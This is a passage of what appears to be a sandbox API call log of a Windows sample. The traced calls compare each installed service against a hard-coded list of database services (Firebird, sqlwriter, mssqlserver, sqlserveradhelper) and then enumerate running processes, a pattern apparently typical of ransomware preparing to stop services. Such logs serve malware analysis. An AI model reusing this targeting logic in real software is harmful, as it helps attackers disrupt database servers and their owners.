(lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0180.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0180.003] lstrlenW (lpString="AppXSvc") returned 7 [0180.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0180.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0180.003] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0180.004] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0180.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0180.004] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0180.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0180.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0180.004] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0180.004] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0180.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0180.004] lstrlenW (lpString="Audiosrv") returned 8 [0180.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0180.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0180.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0180.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0180.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0180.004] lstrlenW (lpString="BFE") returned 3 [0180.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0180.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0180.004] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0180.004] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0180.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0180.004] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0180.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0180.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0180.005] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0180.005] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0180.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0180.005] lstrlenW (lpString="CDPSvc") returned 6 [0180.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0180.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0180.005] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0180.005] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0180.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0180.005] lstrlenW (lpString="ClickToRunSvc") returned 13 [0180.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0180.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0180.005] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0180.005] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0180.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0180.005] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0180.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0180.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0180.005] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0180.005] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0180.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0180.006] lstrlenW (lpString="CryptSvc") returned 8 [0180.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0180.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0180.006] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0180.006] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0180.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0180.006] lstrlenW (lpString="DcomLaunch") returned 10 [0180.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0180.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0180.006] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0180.006] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0180.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0180.006] lstrlenW (lpString="DeviceAssociationService") returned 24 [0180.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0180.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0180.006] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0180.006] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0180.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0180.006] lstrlenW (lpString="Dhcp") returned 4 [0180.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0180.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0180.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0180.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0180.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0180.007] lstrlenW (lpString="Dnscache") returned 8 [0180.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0180.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0180.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0180.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0180.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0180.007] lstrlenW (lpString="DPS") returned 3 [0180.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0180.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0180.007] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0180.007] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0180.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0180.007] lstrlenW (lpString="DsmSvc") returned 6 [0180.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0180.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0180.007] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0180.007] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0180.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0180.007] lstrlenW (lpString="DusmSvc") returned 7 [0180.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0180.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0180.008] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0180.008] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0180.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0180.008] lstrlenW (lpString="EventLog") returned 8 [0180.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0180.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0180.008] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0180.008] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0180.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0180.008] lstrlenW (lpString="EventSystem") returned 11 [0180.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0180.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0180.008] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0180.008] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0180.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0180.008] lstrlenW (lpString="FontCache") returned 9 [0180.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0180.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0180.008] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0180.008] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0180.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0180.008] lstrlenW (lpString="gpsvc") returned 5 [0180.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0180.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0180.009] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0180.009] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0180.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0180.171] lstrlenW (lpString="iphlpsvc") returned 8 [0180.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0180.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0180.171] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0180.171] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0180.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0180.171] lstrlenW (lpString="KeyIso") returned 6 [0180.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0180.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0180.171] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0180.171] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0180.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0180.171] lstrlenW (lpString="LanmanServer") returned 12 [0180.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0180.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0180.172] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0180.172] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0180.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0180.172] lstrlenW (lpString="LanmanWorkstation") returned 17 [0180.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0180.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0180.172] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0180.172] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0180.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0180.172] lstrlenW (lpString="lfsvc") returned 5 [0180.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0180.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0180.172] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0180.172] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0180.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0180.172] lstrlenW (lpString="lmhosts") returned 7 [0180.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0180.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0180.173] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0180.173] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0180.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0180.173] lstrlenW (lpString="LSM") returned 3 [0180.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0180.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0180.173] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0180.173] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0180.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0180.173] lstrlenW (lpString="MpsSvc") returned 6 [0180.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0180.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0180.173] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0180.173] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0180.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0180.173] lstrlenW (lpString="NcbService") returned 10 [0180.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0180.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0180.173] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0180.173] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0180.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0180.174] lstrlenW (lpString="netprofm") returned 8 [0180.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0180.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0180.174] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0180.174] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0180.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0180.174] lstrlenW (lpString="NgcSvc") returned 6 [0180.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0180.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0180.174] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0180.174] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0180.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0180.174] lstrlenW (lpString="NlaSvc") returned 6 [0180.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0180.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0180.174] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0180.174] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0180.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0180.174] lstrlenW (lpString="nsi") returned 3 [0180.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0180.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0180.174] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0180.175] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0180.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0180.175] lstrlenW (lpString="PcaSvc") returned 6 [0180.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0180.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0180.175] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0180.175] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0180.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0180.176] lstrlenW (lpString="PlugPlay") returned 8 [0180.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0180.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0180.176] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0180.176] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0180.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0180.177] lstrlenW (lpString="Power") returned 5 [0180.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0180.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0180.177] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0180.177] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0180.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0180.177] lstrlenW (lpString="ProfSvc") returned 7 [0180.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0180.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0180.177] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0180.177] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0180.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0180.177] lstrlenW (lpString="RpcEptMapper") returned 12 [0180.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0180.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0180.177] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0180.177] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0180.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0180.177] lstrlenW (lpString="RpcSs") returned 5 [0180.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0180.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0180.177] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0180.177] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0180.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0180.178] lstrlenW (lpString="SamSs") returned 5 [0180.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0180.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0180.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0180.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0180.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0180.178] lstrlenW (lpString="Schedule") returned 8 [0180.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0180.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0180.178] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0180.178] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0180.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0180.178] lstrlenW (lpString="SecurityHealthService") returned 21 [0180.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0180.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0180.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0180.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0180.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0180.178] lstrlenW (lpString="SENS") returned 4 [0180.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0180.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0180.179] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0180.179] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0180.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0180.179] lstrlenW (lpString="ShellHWDetection") returned 16 [0180.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0180.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0180.179] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0180.179] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0180.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0180.179] lstrlenW (lpString="Spooler") returned 7 [0180.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0180.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0180.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0180.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0180.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0180.179] lstrlenW (lpString="StateRepository") returned 15 [0180.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0180.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0180.179] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0180.179] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0180.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0180.179] lstrlenW (lpString="SysMain") returned 7 [0180.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0180.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0180.180] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0180.180] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0180.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0180.180] lstrlenW (lpString="SystemEventsBroker") returned 18 [0180.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0180.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0180.180] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0180.180] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0180.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0180.180] lstrlenW (lpString="Themes") returned 6 [0180.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0180.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0180.180] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0180.180] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0180.181] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4661fb8 | out: hHeap=0x710000) returned 1 [0180.181] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x528 [0180.189] Process32FirstW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.191] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0180.193] lstrlenW (lpString="System") returned 6 [0180.193] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0180.194] lstrlenW (lpString="smss.exe") returned 8 [0180.194] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0180.196] lstrlenW (lpString="csrss.exe") returned 9 [0180.196] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0180.197] lstrlenW (lpString="wininit.exe") returned 11 [0180.197] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0180.198] lstrlenW (lpString="csrss.exe") returned 9 [0180.198] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0180.200] lstrlenW (lpString="winlogon.exe") returned 12 [0180.200] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0180.201] lstrlenW (lpString="services.exe") returned 12 [0180.201] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, 